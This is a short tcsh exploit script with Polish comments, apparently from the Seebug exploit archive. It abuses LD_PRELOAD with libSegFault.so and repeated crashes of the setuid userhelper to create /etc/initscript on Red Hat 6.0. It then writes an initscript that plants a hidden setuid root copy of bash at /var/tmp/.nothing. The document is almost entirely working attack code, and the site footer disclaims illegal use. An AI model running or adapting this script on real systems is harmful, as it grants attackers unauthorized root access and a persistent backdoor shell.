#!/bin/tcsh # przyklad wykorzystania dziury w LD_PRELOAD # shadow (tested on redhat 6.0, should work on others) if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje cd /lib umask 0 setenv LD_PRELOAD libSegFault.so setenv SEGFAULT_OUTPUT_NAME /etc/initscript echo czekaj... to moze chwile potrwac... while (! -e /etc/initscript ) ( userhelper >& /dev/null & ; killall -11 userhelper >& /dev/null ) > /dev/null end echo utworzylem plik initscript cat > /etc/initscript << _init_ cp /bin/bash /var/tmp/.nothing chmod 6755 /var/tmp/.nothing rm /etc/initscript _init_ echo i nawet go podmienilem
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论